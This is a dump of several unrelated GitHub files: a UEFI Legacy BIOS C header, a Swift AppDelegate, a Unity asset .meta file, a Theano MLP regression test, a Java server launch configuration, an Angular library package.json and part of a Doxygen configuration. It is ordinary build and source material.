IN LEGACY_BIOS_INSTANCE *Private
);
/**
Shadow all the PCI legacy ROMs. Use data from the Legacy BIOS Protocol
to chose the order. Skip any devices that have already have legacy
BIOS run.
@param Private Protocol instance pointer.
@retval EFI_SUCCESS Succeed.
@retval EFI_UNSUPPORTED Cannot get VGA device handle.
**/
EFI_STATUS
PciShadowRoms (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Fill in the standard BDA and EBDA stuff prior to legacy Boot
@param Private Legacy BIOS Instance data
@retval EFI_SUCCESS It should always work.
**/
EFI_STATUS
LegacyBiosCompleteBdaBeforeBoot (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Fill in the standard CMOS stuff before Legacy16 load
@param Private Legacy BIOS Instance data
@retval EFI_SUCCESS It should always work.
**/
EFI_STATUS
LegacyBiosInitCmos (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Fill in the standard CMOS stuff prior to legacy Boot
@param Private Legacy BIOS Instance data
@retval EFI_SUCCESS It should always work.
**/
EFI_STATUS
LegacyBiosCompleteStandardCmosBeforeBoot (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Contains the code that is copied into low memory (below 640K).
This code reflects interrupts 0x68-0x6f to interrupts 0x08-0x0f.
This template must be copied into low memory, and the IDT entries
0x68-0x6F must be point to the low memory copy of this code. Each
entry is 4 bytes long, so IDT entries 0x68-0x6F can be easily
computed.
**/
VOID
InterruptRedirectionTemplate (
VOID
);
/**
Build the E820 table.
@param Private Legacy BIOS Instance data
@param Size Size of E820 Table
@retval EFI_SUCCESS It should always work.
**/
EFI_STATUS
LegacyBiosBuildE820 (
IN LEGACY_BIOS_INSTANCE *Private,
OUT UINTN *Size
);
/**
This function is to put all AP in halt state.
@param Private Legacy BIOS Instance data
**/
VOID
ShutdownAPs (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Worker function for LegacyBiosGetFlatDescs, retrieving content of
specific registers.
@param IntThunk Pointer to IntThunk of Legacy BIOS context.
**/
VOID
GetRegisters (
LOW_MEMORY_THUNK *IntThunk
);
/**
Routine for calling real thunk code.
@param RealCode The address of thunk code.
@param BiosInt The Bios interrupt vector number.
@param CallAddress The address of 16-bit mode call.
@return Status returned by real thunk code
**/
UINTN
CallRealThunkCode (
UINT8 *RealCode,
UINT8 BiosInt,
UINT32 CallAddress
);
/**
Routine for generating soft interrupt.
@param Vector The interrupt vector number.
**/
VOID
GenerateSoftInit (
UINT8 Vector
);
/**
Allocate memory for legacy usage.
@param AllocateType The type of allocation to perform.
@param MemoryType The type of memory to allocate.
@param StartPageAddress Start address of range
@param Pages Number of pages to allocate
@param Result Result of allocation
@retval EFI_SUCCESS Legacy16 code loaded
@retval Other No protocol installed, unload driver.
**/
EFI_STATUS
AllocateLegacyMemory (
IN EFI_ALLOCATE_TYPE AllocateType,
IN EFI_MEMORY_TYPE MemoryType,
IN EFI_PHYSICAL_ADDRESS StartPageAddress,
IN UINTN Pages,
OUT EFI_PHYSICAL_ADDRESS *Result
);
/**
Get a region from the LegacyBios for Tiano usage. Can only be invoked once.
@param This Protocol instance pointer.
@param LegacyMemorySize Size of required region
@param Region Region to use. 00 = Either 0xE0000 or 0xF0000
block Bit0 = 1 0xF0000 block Bit1 = 1 0xE0000
block
@param Alignment Address alignment. Bit mapped. First non-zero
bit from right is alignment.
@param LegacyMemoryAddress Region Assigned
@retval EFI_SUCCESS Region assigned
@retval EFI_ACCESS_DENIED Procedure previously invoked
@retval Other Region not assigned
**/
EFI_STATUS
EFIAPI
LegacyBiosGetLegacyRegion (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN UINTN LegacyMemorySize,
IN UINTN Region,
IN UINTN Alignment,
OUT VOID **LegacyMemoryAddress
);
/**
Get a region from the LegacyBios for Tiano usage. Can only be invoked once.
@param This Protocol instance pointer.
@param LegacyMemorySize Size of data to copy
@param LegacyMemoryAddress Legacy Region destination address Note: must
be in region assigned by
LegacyBiosGetLegacyRegion
@param LegacyMemorySourceAddress Source of data
@retval EFI_SUCCESS Region assigned
@retval EFI_ACCESS_DENIED Destination outside assigned region
**/
EFI_STATUS
EFIAPI
LegacyBiosCopyLegacyRegion (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN UINTN LegacyMemorySize,
IN VOID *LegacyMemoryAddress,
IN VOID *LegacyMemorySourceAddress
);
/**
Find Legacy16 BIOS image in the FLASH device and shadow it into memory. Find
the $EFI table in the shadow area. Thunk into the Legacy16 code after it had
been shadowed.
@param Private Legacy BIOS context data
@retval EFI_SUCCESS Legacy16 code loaded
@retval Other No protocol installed, unload driver.
**/
EFI_STATUS
ShadowAndStartLegacy16 (
IN LEGACY_BIOS_INSTANCE *Private
);
/**
Checks the state of the floppy and if media is inserted.
This routine checks the state of the floppy and if media is inserted.
There are 3 cases:
No floppy present - Set BBS entry to ignore
Floppy present & no media - Set BBS entry to lowest priority. We cannot
set it to ignore since 16-bit CSM will
indicate no floppy and thus drive A: is
unusable. CSM-16 will not try floppy since
lowest priority and thus not incur boot
time penality.
Floppy present & media - Set BBS entry to some priority.
@return State of floppy media
**/
UINT8
HasMediaInFloppy (
VOID
);
/**
Identify drive data must be updated to actual parameters before boot.
This requires updating the checksum, if it exists.
@param IdentifyDriveData ATA Identify Data
@param Checksum checksum of the ATA Identify Data
@retval EFI_SUCCESS checksum calculated
@retval EFI_SECURITY_VIOLATION IdentifyData invalid
**/
EFI_STATUS
CalculateIdentifyDriveChecksum (
IN UINT8 *IdentifyDriveData,
OUT UINT8 *Checksum
);
/**
Identify drive data must be updated to actual parameters before boot.
@param IdentifyDriveData ATA Identify Data
**/
VOID
UpdateIdentifyDriveData (
IN UINT8 *IdentifyDriveData
);
/**
Complete build of BBS TABLE.
@param Private Legacy BIOS Instance data
@param BbsTable BBS Table passed to 16-bit code
@retval EFI_SUCCESS Removable media not present
**/
EFI_STATUS
LegacyBiosBuildBbs (
IN LEGACY_BIOS_INSTANCE *Private,
IN BBS_TABLE *BbsTable
);
/**
Read CMOS register through index/data port.
@param[in] Index The index of the CMOS register to read.
@return The data value from the CMOS register specified by Index.
**/
UINT8
LegacyReadStandardCmos (
IN UINT8 Index
);
/**
Write CMOS register through index/data port.
@param[in] Index The index of the CMOS register to write.
@param[in] Value The value of CMOS register to write.
@return The value written to the CMOS register specified by Index.
**/
UINT8
LegacyWriteStandardCmos (
IN UINT8 Index,
IN UINT8 Value
);
/**
Calculate the new standard CMOS checksum and write it.
@param Private Legacy BIOS Instance data
@retval EFI_SUCCESS Calculate 16-bit checksum successfully
**/
EFI_STATUS
LegacyCalculateWriteStandardCmosChecksum (
VOID
);
/**
Test to see if a legacy PCI ROM exists for this device. Optionally return
the Legacy ROM instance for this PCI device.
@param[in] This Protocol instance pointer.
@param[in] PciHandle The PCI PC-AT OPROM from this devices ROM BAR will be loaded
@param[out] RomImage Return the legacy PCI ROM for this device
@param[out] RomSize Size of ROM Image
@param[out] RuntimeImageLength Runtime size of ROM Image
@param[out] Flags Indicates if ROM found and if PC-AT.
@param[out] OpromRevision Revision of the PCI Rom
@param[out] ConfigUtilityCodeHeaderPointer of Configuration Utility Code Header
@return EFI_SUCCESS Legacy Option ROM available for this device
@return EFI_ALREADY_STARTED This device is already managed by its Oprom
@return EFI_UNSUPPORTED Legacy Option ROM not supported.
**/
EFI_STATUS
LegacyBiosCheckPciRomEx (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN EFI_HANDLE PciHandle,
OUT VOID **RomImage, OPTIONAL
OUT UINTN *RomSize, OPTIONAL
OUT UINTN *RuntimeImageLength, OPTIONAL
OUT UINTN *Flags, OPTIONAL
OUT UINT8 *OpromRevision, OPTIONAL
OUT VOID **ConfigUtilityCodeHeader OPTIONAL
);
/**
Relocate this image under 4G memory for IPF.
@param ImageHandle Handle of driver image.
@param SystemTable Pointer to system table.
@retval EFI_SUCCESS Image successfully relocated.
@retval EFI_ABORTED Failed to relocate image.
**/
EFI_STATUS
RelocateImageUnder4GIfNeeded (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
);
/**
Thunk to 16-bit real mode and call Segment:Offset. Regs will contain the
16-bit register context on entry and exit. Arguments can be passed on
the Stack argument
@param This Protocol instance pointer.
@param Segment Segment of 16-bit mode call
@param Offset Offset of 16-bit mdoe call
@param Regs Register contexted passed into (and returned) from thunk to
16-bit mode
@param Stack Caller allocated stack used to pass arguments
@param StackSize Size of Stack in bytes
@retval FALSE Thunk completed, and there were no BIOS errors in the target code.
See Regs for status.
@retval TRUE There was a BIOS erro in the target code.
**/
BOOLEAN
EFIAPI
InternalLegacyBiosFarCall (
IN EFI_LEGACY_BIOS_PROTOCOL *This,
IN UINT16 Segment,
IN UINT16 Offset,
IN EFI_IA32_REGISTER_SET *Regs,
IN VOID *Stack,
IN UINTN StackSize
);
/**
Load a legacy PC-AT OpROM for VGA controller.
@param Private Driver private data.
@retval EFI_SUCCESS Legacy ROM successfully installed for this device.
@retval EFI_DEVICE_ERROR No VGA device handle found, or native EFI video
driver cannot be successfully disconnected, or VGA
thunk driver cannot be successfully connected.
**/
EFI_STATUS
LegacyBiosInstallVgaRom (
IN LEGACY_BIOS_INSTANCE *Private
);
#endif
|
{
"pile_set_name": "Github"
}
|
//
// AppDelegate.swift
//
// Copyright (c) 2017 Xmartlabs ( http://xmartlabs.com )
//
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
import UIKit
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow?
func application(
_ application: UIApplication,
didFinishLaunchingWithOptions
launchOptions: [UIApplicationLaunchOptionsKey: Any]?
) -> Bool {
// Override point for customization after application launch.
return true
}
func applicationWillResignActive(_ application: UIApplication) {
}
func applicationDidEnterBackground(_ application: UIApplication) {
}
func applicationWillEnterForeground(_ application: UIApplication) {
}
func applicationDidBecomeActive(_ application: UIApplication) {
}
func applicationWillTerminate(_ application: UIApplication) {
}
}
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: bc677b5c4400940498763a90d3441814
timeCreated: 1495777174
licenseType: Pro
ModelImporter:
serializedVersion: 19
fileIDToRecycleName:
100000: //RootNode
400000: //RootNode
2300000: //RootNode
3300000: //RootNode
4300000: wall_t_cap_deco
9500000: //RootNode
materials:
importMaterials: 1
materialName: 0
materialSearch: 1
animations:
legacyGenerateAnimations: 4
bakeSimulation: 0
resampleCurves: 1
optimizeGameObjects: 0
motionNodeName:
rigImportErrors:
rigImportWarnings:
animationImportErrors:
animationImportWarnings:
animationRetargetingWarnings:
animationDoRetargetingWarnings: 0
animationCompression: 1
animationRotationError: 0.5
animationPositionError: 0.5
animationScaleError: 0.5
animationWrapMode: 0
extraExposedTransformPaths: []
clipAnimations: []
isReadable: 1
meshes:
lODScreenPercentages: []
globalScale: 50
meshCompression: 0
addColliders: 0
importBlendShapes: 1
swapUVChannels: 0
generateSecondaryUV: 0
useFileUnits: 1
optimizeMeshForGPU: 1
keepQuads: 0
weldVertices: 1
secondaryUVAngleDistortion: 8
secondaryUVAreaDistortion: 15.000001
secondaryUVHardAngle: 88
secondaryUVPackMargin: 4
useFileScale: 1
tangentSpace:
normalSmoothAngle: 60
normalImportMode: 0
tangentImportMode: 3
importAnimation: 1
copyAvatar: 0
humanDescription:
serializedVersion: 2
human: []
skeleton: []
armTwist: 0.5
foreArmTwist: 0.5
upperLegTwist: 0.5
legTwist: 0.5
armStretch: 0.05
legStretch: 0.05
feetSpacing: 0
rootMotionBoneName:
rootMotionBoneRotation: {x: 0, y: 0, z: 0, w: 1}
hasTranslationDoF: 0
hasExtraRoot: 0
skeletonHasParents: 1
lastHumanDescriptionAvatarSource: {instanceID: 0}
animationType: 2
humanoidOversampling: 1
additionalBone: 0
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
|
"""
This is a minimized version of the mlp.py in the tutorial. We removed stuff that make this mlp don't work.
But this test a bug that we saw. This bug made the Shape_i object not being lifted, that caused the CrossentropySoftmax... op not being inserted.
"""
__docformat__ = 'restructedtext en'
import numpy
import theano
import theano.tensor as T
from theano.compat import OrderedDict
def gen_data():
# generate the dataset
train_set = (numpy.asarray(numpy.random.rand(10000, 784), dtype='float32'),
numpy.asarray(numpy.random.rand(10000)*10, dtype='int64'))
valid_set = (numpy.asarray(numpy.random.rand(10000, 784), dtype='float32'),
numpy.asarray(numpy.random.rand(10000)*10, dtype='int64'))
test_set = (numpy.asarray(numpy.random.rand(10000, 784), dtype='float32'),
numpy.asarray(numpy.random.rand(10000)*10, dtype='int64'))
def shared_dataset(data_xy):
""" Function that loads the dataset into shared variables
The reason we store our dataset in shared variables is to allow
Theano to copy it into the GPU memory (when code is run on GPU).
Since copying data into the GPU is slow, copying a minibatch everytime
is needed (the default behaviour if the data is not in a shared
variable) would lead to a large decrease in performance.
"""
data_x, data_y = data_xy
shared_x = theano.shared(numpy.asarray(data_x, dtype=theano.config.floatX))
shared_y = theano.shared(numpy.asarray(data_y, dtype=theano.config.floatX))
# When storing data on the GPU it has to be stored as floats
# therefore we will store the labels as ``floatX`` as well
# (``shared_y`` does exactly that). But during our computations
# we need them as ints (we use labels as index, and if they are
# floats it doesn't make sense) therefore instead of returning
# ``shared_y`` we will have to cast it to int. This little hack
# lets ous get around this issue
return shared_x, T.cast(shared_y, 'int32')
test_set_x, test_set_y = shared_dataset(test_set)
valid_set_x, valid_set_y = shared_dataset(valid_set)
train_set_x, train_set_y = shared_dataset(train_set)
rval = [(train_set_x, train_set_y), (valid_set_x, valid_set_y), (test_set_x, test_set_y)]
return rval
class LogisticRegression(object):
"""Multi-class Logistic Regression Class
The logistic regression is fully described by a weight matrix :math:`W`
and bias vector :math:`b`. Classification is done by projecting data
points onto a set of hyperplanes, the distance to which is used to
determine a class membership probability.
"""
def __init__(self, input, n_in, n_out, name_prefix=''):
""" Initialize the parameters of the logistic regression
:type input: theano.tensor.TensorType
:param input: symbolic variable that describes the input of the
architecture (one minibatch)
:type n_in: int
:param n_in: number of input units, the dimension of the space in
which the datapoints lie
:type n_out: int
:param n_out: number of output units, the dimension of the space in
which the labels lie
"""
# initialize with 0 the weights W as a matrix of shape (n_in, n_out)
self.W = theano.shared(value=numpy.zeros((n_in, n_out), dtype=theano.config.floatX),
name=name_prefix+'W')
# compute vector of class-membership probabilities in symbolic form
self.p_y_given_x = T.nnet.softmax(T.dot(input, self.W))
# compute prediction as class whose probability is maximal in
# symbolic form
self.y_pred = T.argmax(self.p_y_given_x, axis=1)
# parameters of the model
self.params = [self.W]
def negative_log_likelihood(self, y):
"""Return the mean of the negative log-likelihood of the prediction
of this model under a given target distribution.
.. math::
\frac{1}{|\mathcal{D}|} \mathcal{L} (\theta=\{W,b\}, \mathcal{D}) =
\frac{1}{|\mathcal{D}|} \sum_{i=0}^{|\mathcal{D}|} \log(P(Y=y^{(i)}|x^{(i)}, W,b)) \\
\ell (\theta=\{W,b\}, \mathcal{D})
:type y: theano.tensor.TensorType
:param y: corresponds to a vector that gives for each example the
correct label
Note: we use the mean instead of the sum so that
the learning rate is less dependent on the batch size
"""
# y.shape[0] is (symbolically) the number of rows in y, i.e., number of examples (call it n) in the minibatch
# T.arange(y.shape[0]) is a symbolic vector which will contain [0,1,2,... n-1]
# T.log(self.p_y_given_x) is a matrix of Log-Probabilities (call it LP) with one row per example and one column per class
# LP[T.arange(y.shape[0]),y] is a vector v containing [LP[0,y[0]], LP[1,y[1]], LP[2,y[2]], ..., LP[n-1,y[n-1]]]
# and T.mean(LP[T.arange(y.shape[0]),y]) is the mean (across minibatch examples) of the elements in v,
# i.e., the mean log-likelihood across the minibatch.
return T.log(self.p_y_given_x[T.arange(y.shape[0]), y])
class HiddenLayer(object):
def __init__(self, rng, input, n_in, n_out, activation=T.tanh, name_prefix=''):
"""
Typical hidden layer of a MLP: units are fully-connected and have
sigmoidal activation function. Weight matrix W is of shape (n_in,n_out)
and the bias vector b is of shape (n_out,).
NOTE : The nonlinearity used here is tanh
Hidden unit activation is given by: tanh(dot(input,W) + b)
:type rng: numpy.random.RandomState
:param rng: a random number generator used to initialize weights
:type input: theano.tensor.dmatrix
:param input: a symbolic tensor of shape (n_examples, n_in)
:type n_in: int
:param n_in: dimensionality of input
:type n_out: int
:param n_out: number of hidden units
:type activation: theano.Op or function
:param activation: Non linearity to be applied in the hidden
layer
"""
self.input = input
# `W` is initialized with `W_values` which is uniformely sampled
# from -6./sqrt(n_in+n_hidden) and 6./sqrt(n_in+n_hidden)
# the output of uniform if converted using asarray to dtype
# theano.config.floatX so that the code is runable on GPU
W_values = numpy.asarray( rng.uniform( \
low=-numpy.sqrt(6./(n_in+n_out)), \
high=numpy.sqrt(6./(n_in+n_out)), \
size=(n_in, n_out)), dtype=theano.config.floatX)
self.W = theano.shared(value=W_values, name=name_prefix+'W')
self.output = T.dot(input, self.W)
# parameters of the model
self.params = [self.W]
class MLP(object):
"""Multi-Layer Perceptron Class
A multilayer perceptron is a feedforward artificial neural network model
that has one layer or more of hidden units and nonlinear activations.
Intermidiate layers usually have as activation function thanh or the
sigmoid function (defined here by a ``SigmoidalLayer`` class) while the
top layer is a softamx layer (defined here by a ``LogisticRegression``
class).
"""
def __init__(self, rng, input, n_in, n_hidden, n_out):
"""Initialize the parameters for the multilayer perceptron
:type rng: numpy.random.RandomState
:param rng: a random number generator used to initialize weights
:type input: theano.tensor.TensorType
:param input: symbolic variable that describes the input of the
architecture (one minibatch)
:type n_in: int
:param n_in: number of input units, the dimension of the space in
which the datapoints lie
:type n_hidden: int
:param n_hidden: number of hidden units
:type n_out: int
:param n_out: number of output units, the dimension of the space in
which the labels lie
"""
# Since we are dealing with a one hidden layer MLP, this will
# translate into a TanhLayer connected to the LogisticRegression
# layer; this can be replaced by a SigmoidalLayer, or a layer
# implementing any other nonlinearity
self.hiddenLayer = HiddenLayer(rng=rng, input=input,
n_in=n_in, n_out=n_hidden,
activation=T.tanh, name_prefix='hid_')
# The logistic regression layer gets as input the hidden units
# of the hidden layer
self.logRegressionLayer = LogisticRegression(
input=self.hiddenLayer.output,
n_in=n_hidden,
n_out=n_out, name_prefix='log_')
# negative log likelihood of the MLP is given by the negative
# log likelihood of the output of the model, computed in the
# logistic regression layer
self.negative_log_likelihood = self.logRegressionLayer.negative_log_likelihood
# the parameters of the model are the parameters of the two layer it is
# made out of
self.params = self.hiddenLayer.params + self.logRegressionLayer.params
def test_mlp():
"""
Demonstrate stochastic gradient descent optimization for a multilayer
perceptron
This is demonstrated on MNIST.
:type learning_rate: float
:param learning_rate: learning rate used (factor for the stochastic
gradient
:type n_epochs: int
:param n_epochs: maximal number of epochs to run the optimizer
:type dataset: string
:param dataset: the path of the MNIST dataset file from
http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz
"""
datasets = gen_data()
train_set_x, train_set_y = datasets[0]
valid_set_x, valid_set_y = datasets[1]
test_set_x , test_set_y = datasets[2]
batch_size = 100 # size of the minibatch
# compute number of minibatches for training, validation and testing
n_train_batches = train_set_x.get_value(borrow=True).shape[0] / batch_size
n_valid_batches = valid_set_x.get_value(borrow=True).shape[0] / batch_size
n_test_batches = test_set_x.get_value(borrow=True).shape[0] / batch_size
######################
# BUILD ACTUAL MODEL #
######################
# print '... building the model'
# allocate symbolic variables for the data
index = T.lscalar() # index to a [mini]batch
x = T.matrix('x') # the data is presented as rasterized images
y = T.ivector('y') # the labels are presented as 1D vector of
# [int] labels
rng = numpy.random.RandomState(1234)
# construct the MLP class
classifier = MLP( rng=rng, input=x, n_in=28*28, n_hidden=500, n_out=10)
# the cost we minimize during training is the negative log likelihood of
# the model.
# We take the mean of the cost over each minibatch.
cost = classifier.negative_log_likelihood(y).mean()
# compute the gradient of cost with respect to theta (stored in params)
# the resulting gradients will be stored in a list gparams
gparams = []
for param in classifier.params:
gparam = T.grad(cost, param)
gparams.append(gparam)
# Some optimizations needed are tagged with 'fast_run'
# TODO: refine that and include only those
mode = theano.compile.get_default_mode().including('fast_run')
updates2 = OrderedDict()
updates2[classifier.hiddenLayer.params[0]] = T.grad(cost, classifier.hiddenLayer.params[0])
train_model = theano.function( inputs=[index],
updates=updates2,
givens={
x: train_set_x[index*batch_size:(index+1)*batch_size],
y: train_set_y[index*batch_size:(index+1)*batch_size]},
mode=mode)
# print 'MODEL 1'
#theano.printing.debugprint(train_model, print_type=True)
assert any([isinstance(i.op, T.nnet.CrossentropySoftmax1HotWithBiasDx) for i in train_model.maker.fgraph.toposort()])
# Even without FeatureShape
train_model = theano.function( inputs=[index],
updates=updates2,
mode=mode.excluding('ShapeOpt'),
givens={
x: train_set_x[index*batch_size:(index+1)*batch_size],
y: train_set_y[index*batch_size:(index+1)*batch_size]})
# print
# print 'MODEL 2'
#theano.printing.debugprint(train_model, print_type=True)
assert any([isinstance(i.op, T.nnet.CrossentropySoftmax1HotWithBiasDx) for i in train_model.maker.fgraph.toposort()])
if __name__ == '__main__':
test_mlp()
|
{
"pile_set_name": "Github"
}
|
## -*- shell-script -*- ######################################################
## ##
## Server bootstrap Script Configuration ##
## ##
##############################################################################
#
# This file is optional; it may be removed if not needed.
#
#
# Specify the maximum file descriptor limit, use "max" or "maximum" to use
# the default, as queried by the system.
#
# Defaults to "maximum"
#
#MAX_FD="maximum"
#
# Specify the profiler configuration file to load.
#
# Default is to not load profiler configuration file.
#
#PROFILER=""
#
# Specify the location of the Java home directory. If set then $JAVA will
# be defined to $JAVA_HOME/bin/java, else $JAVA will be "java".
#
#JAVA_HOME="/opt/java/jdk"
# tell linux glibc how many memory pools can be created that are used by malloc
# MALLOC_ARENA_MAX="5"
#
# Specify the exact Java VM executable to use.
#
#JAVA=""
# Uncomment the following line to prevent manipulation of JVM options
# by shell scripts.
#
#PRESERVE_JAVA_OPTS=true
#
# Specify options to pass to the Java VM.
#
if [ "x$JAVA_OPTS" = "x" ]; then
JAVA_OPTS="-Xms64m -Xmx512m -XX:MetaspaceSize=64M -Djava.net.preferIPv4Stack=true"
JAVA_OPTS="$JAVA_OPTS -Djava.awt.headless=true"
else
echo "JAVA_OPTS already set in environment; overriding default settings with values: $JAVA_OPTS"
fi
# Sample JPDA settings for remote socket debugging
#JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,address=8787,server=y,suspend=n"
# Sample JPDA settings for shared memory debugging
#JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_shmem,server=y,suspend=n,address=infinispan"
# Uncomment this out to control garbage collection logging
# GC_LOG="true"
|
{
"pile_set_name": "Github"
}
|
{
"name": "angular-bootstrap-md-lib",
"version": "10.0.0",
"scripts": {
"ng": "ng",
"start": "ng serve",
"build": "ng build",
"test": "ng test",
"lint": "ng lint",
"e2e": "ng e2e",
"copy-scss": "cp -r projects/angular-bootstrap-md/src/lib/assets dist/angular-bootstrap-md/assets",
"copy-files": "cp projects/angular-bootstrap-md/src/lib/changelog projects/angular-bootstrap-md/src/lib/License.pdf README.md dist/angular-bootstrap-md",
"pack-archive": "cd dist/angular-bootstrap-md && npm pack . && cp angular-bootstrap-md-10.*.tgz ../..",
"remove-archive": "rm dist/angular-bootstrap-md/angular-bootstrap-md-10.*.tgz && cd ../..",
"compile-lib": "ng build angular-bootstrap-md && npm run copy-scss && npm run copy-files && npm run schematics:build && npm run pack-archive && npm run remove-archive",
"schematics:build": "tsc -p projects/angular-bootstrap-md/tsconfig.schematics.json && npm run schematics:copy-schema && npm run schematics:copy-collection && npm run schematics:copy-migration",
"schematics:copy-schema": "cp projects/angular-bootstrap-md/schematics/ng-add/schema.json dist/angular-bootstrap-md/schematics/ng-add",
"schematics:copy-collection": "cp projects/angular-bootstrap-md/schematics/collection.json dist/angular-bootstrap-md/schematics/",
"schematics:copy-migration": "cp projects/angular-bootstrap-md/schematics/migration.json dist/angular-bootstrap-md/schematics/",
"compile": "npm run compile-lib"
},
"private": true,
"dependencies": {
"@angular/animations": "~10.1.1",
"@angular/cdk": "^10.2.1",
"@angular/common": "~10.1.1",
"@angular/compiler": "~10.1.1",
"@angular/core": "~10.1.1",
"@angular/forms": "~10.1.1",
"@angular/platform-browser": "~10.1.1",
"@angular/platform-browser-dynamic": "~10.1.1",
"@angular/router": "~10.1.1",
"@fortawesome/fontawesome-free": "^5.6.3",
"@types/chart.js": "^2.7.42",
"angular-bootstrap-md": "file:angular-bootstrap-md-10.0.0.tgz",
"chart.js": "^2.5.0",
"core-js": "^2.5.4",
"hammerjs": "^2.0.8",
"rxjs": "~6.5.2",
"zone.js": "~0.10.2"
},
"devDependencies": {
"@angular-devkit/build-angular": "^0.1001.1",
"@angular-devkit/build-ng-packagr": "~0.1001.1",
"@angular-devkit/schematics": "^10.1.1",
"@angular/cli": "~10.1.1",
"@angular/compiler-cli": "~10.1.1",
"@angular/language-service": "~10.1.1",
"@types/jasmine": "~2.8.8",
"@types/jasminewd2": "~2.0.3",
"@types/node": "~8.9.4",
"codelyzer": "~5.1.0",
"copy-webpack-plugin": "^4.6.0",
"jasmine-core": "~3.5.0",
"jasmine-spec-reporter": "~5.0.0",
"karma": "~5.0.0",
"karma-chrome-launcher": "~3.1.0",
"karma-coverage-istanbul-reporter": "~3.0.2",
"karma-jasmine": "~4.0.0",
"karma-jasmine-html-reporter": "^1.5.0",
"ng-packagr": "^10.1.0",
"protractor": "~7.0.0",
"schematics-utilities": "^1.1.1",
"ts-node": "~7.0.0",
"tsickle": "^0.39.1",
"tslib": "^2.0.0",
"tslint": "~6.1.0",
"typescript": "~4.0.2",
"webpack": "^4.29.0",
"webpack-cli": "^3.2.1",
"webpack-node-externals": "^1.7.2"
}
}
|
{
"pile_set_name": "Github"
}
|
# This file describes the settings to be used by doxygen for a project
#
# All text after a hash (#) is considered a comment and will be ignored
# The format is:
# TAG = value [value, ...]
# Values that contain spaces should be placed between quotes (" ")
#---------------------------------------------------------------------------
# General configuration options
#---------------------------------------------------------------------------
# The PROJECT_NAME tag is a single word (or a sequence of words surrounded
# by quotes) that should identify the project.
PROJECT_NAME = ITK
# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute)
# base path where the generated documentation will be put.
# If a relative path is entered, it will be relative to the location
# where doxygen was started. If left blank the current directory will be used.
OUTPUT_DIRECTORY = "@ITK_WRAP_DOC_LIBRARY_DIR@"
# The OUTPUT_LANGUAGE tag is used to specify the language in which all
# documentation generated by doxygen is written. Doxygen will use this
# information to generate all constant output in the proper language.
# The default language is English, other supported generators are:
# Dutch, French, Italian, Czech, Swedish, German, Finnish, Japanese,
# Spanish and Russian
OUTPUT_LANGUAGE = English
# The DISABLE_INDEX tag can be used to turn on/off the condensed index at
# top of each HTML page. The value NO (the default) enables the index and
# the value YES disables it.
DISABLE_INDEX = YES
# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in
# documentation are documented, even if no documentation was available.
# Private class members and static file members will be hidden unless
# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
EXTRACT_ALL = NO
# If the EXTRACT_PRIVATE tag is set to YES all private members of a class
# will be included in the documentation.
EXTRACT_PRIVATE = NO
# If the EXTRACT_STATIC tag is set to YES all static members of a file
# will be included in the documentation.
EXTRACT_STATIC = YES
# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all
# undocumented members of documented classes, files or namespaces.
# If set to NO (the default) these members will be included in the
# various overviews, but no documentation section is generated.
# This option has no effect if EXTRACT_ALL is enabled.
HIDE_UNDOC_MEMBERS = NO
# If the HIDE_UNDOC_CLASSESS tag is set to YES, Doxygen will hide all
# undocumented classes that are normally visible in the class hierarchy.
# If set to NO (the default) these class will be included in the various
# overviews. This option has no effect if EXTRACT_ALL is enabled.
HIDE_UNDOC_CLASSES = YES
# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will
# include brief member descriptions after the members that are listed in
# the file and class documentation (similar to JavaDoc).
# Set to NO to disable this.
BRIEF_MEMBER_DESC = NO
# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend
# the brief description of a member or function before the detailed description.
# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the
# brief descriptions will be completely suppressed.
REPEAT_BRIEF = YES
# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then
# Doxygen will generate a detailed section even if there is only a brief
# description.
ALWAYS_DETAILED_SEC = NO
# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full
# path before files name in the file list and in the header files. If set
# to NO the shortest path that makes the file name unique will be used.
FULL_PATH_NAMES = NO
# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag
# can be used to strip a user defined part of the path. Stripping is
# only done if one of the specified strings matches the left-hand part of
# the path.
STRIP_FROM_PATH =
# The INTERNAL_DOCS tag determines if documentation
